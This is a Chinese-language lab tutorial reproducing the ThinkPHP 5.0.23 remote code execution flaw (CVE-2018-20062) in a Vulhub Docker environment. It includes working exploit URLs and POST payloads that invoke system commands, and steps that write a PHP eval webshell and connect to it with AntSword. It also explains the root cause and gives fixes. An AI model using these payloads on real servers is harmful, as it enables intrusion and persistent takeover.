从零开始复现 ThinkPHP RCE:Docker + Burp Suite 实战
目录1. 漏洞概述2. 环境搭建2.1 安装 Docker 与 Docker Compose2.2 部署 Vulhub 靶场2.3 启动环境3. 漏洞验证3.1 浏览器直接验证3.2 Burp Suite 抓包改包验证4. 深入利用——获取 Webshell4.1 写入一句话木马4.2 使用蚁剑连接5. 漏洞原理简析6. 修复建议7. 总结与收获免责声明此文章仅供学习参考严禁用于非法攻击。请确保你在拥有合法授权的环境中进行测试。1. 漏洞概述ThinkPHP 是一款流行的国产 PHP 框架。2018年12月ThinkPHP 5.x 系列被披露存在一个高危的远程代码执行漏洞CVE-2018-20062。该漏洞影响 ThinkPHP 5.0.x 版本低于 5.0.24和 5.1.x 版本低于 5.1.31CVSS 3.0 评分为 9.8严重。漏洞成因ThinkPHP 在处理请求时对控制器名称过滤不严攻击者可以通过精心构造的 URL 或 POST 参数调用框架内部的__construct方法进而覆盖类的属性如filter和server。最终在后续的输入处理中攻击者可利用array_walk_recursive回调机制执行任意系统命令。该漏洞利用简单无需认证影响范围广攻击者可以轻易获取服务器权限因此被公认为 ThinkPHP 历史上最经典的漏洞之一。2. 环境搭建本次复现使用一台 Ubuntu 服务器IP 为192.168.8.144通过 Docker 和 Vulhub 快速搭建靶场环境。2.1 安装 Docker 与 Docker ComposeDocker 是一个容器化平台可以快速部署隔离的应用环境Docker Compose 则用于定义和运行多容器应用。如果你还没有安装可以参考以下命令# 安装 Docker curl -fsSL https://get.docker.com | bash -s docker sudo systemctl start docker sudo systemctl enable docker # 安装 Docker Compose sudo curl -L https://github.com/docker/compose/releases/download/v2.23.0/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose sudo chmod x /usr/local/bin/docker-compose2.2 部署 Vulhub 靶场Vulhub 是一个基于 Docker 的开源漏洞靶场集合集成了大量漏洞环境。克隆 Vulhub 仓库git clone https://github.com/vulhub/vulhub.git进入 ThinkPHP 漏洞目录cd vulhub/thinkphp/5.0.23-rce# 克隆 Vulhub 仓库 git clone https://github.com/vulhub/vulhub.git # 进入 ThinkPHP 5.0.23 RCE 漏洞目录 cd vulhub/thinkphp/5.0.23-rce2.3 启动环境执行以下命令启动容器第一次运行会自动拉取镜像可能需要几分钟docker-compose up -d容器启动后查看运行状态docker-compose ps现在在浏览器中访问http://192.168.8.144:8080如果看到 ThinkPHP 的欢迎页面说明环境搭建成功。3. 漏洞验证我们通过两种方式验证漏洞的存在浏览器直接访问和 Burp Suite 抓包改包。3.1 浏览器直接验证ThinkPHP 5.0.23 的漏洞利用 URL 中需要包含反斜杠\但在 URL 中反斜杠是特殊字符需要编码为%5c否则浏览器可能无法正确解析。因此我们提供两种形式的 URL推荐使用编码后的版本。编码后的利用 URLhttp://192.168.8.144:8080/index.php?sindex/think%5capp/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoami在浏览器地址栏输入上述 URL 并回车如果页面返回当前系统用户名如www-data则证明漏洞存在。3.2 Burp Suite 抓包改包验证Burp Suite 是一款强大的 Web 安全测试工具可以拦截、修改和重放 HTTP 请求。步骤1配置代理并拦截打开 Burp Suite进入Proxy → Options确认监听地址为127.0.0.1:8080。配置浏览器代理指向 Burp例如在 Chrome 中设置代理为127.0.0.1:8080。在 Burp 的Proxy → Intercept中确保Intercept is on。在浏览器中访问http://192.168.8.144:8080/index.php?scaptcha此时 Burp 会拦截到原始的 GET 请求。步骤2修改请求包我们需要将 GET 请求改为 POST并添加恶意 payload。修改后的请求如下POST /index.php?scaptcha HTTP/1.1 Host: 192.168.8.144:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 60 _method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]whoami4. 深入利用——获取 Webshell为了持久化控制我们可以写入一个简单的一句话木马然后用蚁剑连接。4.1 写入一句话木马在 POST 请求中将whoami替换为写入文件的命令。由于命令中包含单引号和特殊字符直接拼接容易出错我们采用 base64 编码的方式避免引号问题。首先生成一句话木马的 base64 编码echo -n ?php eval($_POST[cmd]); ? | base64输出结果为PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg。然后构造写入命令注意目标路径为/var/www/public这是通过之前pwd确认的curl -X POST http://192.168.8.144:8080/index.php?scaptcha \ -H Content-Type: application/x-www-form-urlencoded \ -d _method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]echo PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg | base64 -d /var/www/public/shell.php验证文件是否写入成功curl http://192.168.8.144:8080/shell.php4.2 使用蚁剑连接蚁剑AntSword是一款开源的跨平台网站管理工具支持多种编码器和插件。打开蚁剑在左侧空白处右键选择「添加数据」。填写以下信息URL 地址http://192.168.8.144:8080/shell.php连接密码cmd编码器选择default其他选项保持默认。点击「测试连接」如果提示「连接成功」则点击「添加」保存。保存后双击新加的 shell 节点即可进入文件管理界面看到网站目录结构并可在虚拟终端中执行命令。至此我们不仅验证了漏洞还获得了服务器的实际控制权。5. 漏洞原理简析该漏洞的核心在于 ThinkPHP 5 的Request类对_method参数的处理。在method方法中如果 POST 参数中存在配置项var_method默认值为_method则调用$this-{$this-method}($_POST)。攻击者传入_method__construct后会触发__construct方法。而__construct方法允许通过传入的数组覆盖类的任意属性如filter和serverpublic function __construct($options []) { foreach ($options as $name $item) { if (property_exists($this, $name)) { $this-$name $item; } } }攻击者可以将filter设置为system将server设置为要执行的命令。后续在input方法中框架会对输入值使用filter中的函数进行过滤通过array_walk_recursive从而导致任意函数执行。官方修复方式是在获取控制器名后增加正则校验防止调用内部方法。6. 修复建议升级版本立即将 ThinkPHP 升级到 5.0.24 或 5.1.31官方已修复此漏洞。开启强制路由在应用配置中开启强制路由模式避免直接通过 URL 调用控制器。部署 WAF使用 Web 应用防火墙拦截恶意参数如_method__construct、filter[]等。限制文件写入权限降低 Web 目录的写入权限防止攻击者上传 webshell。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2418845.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!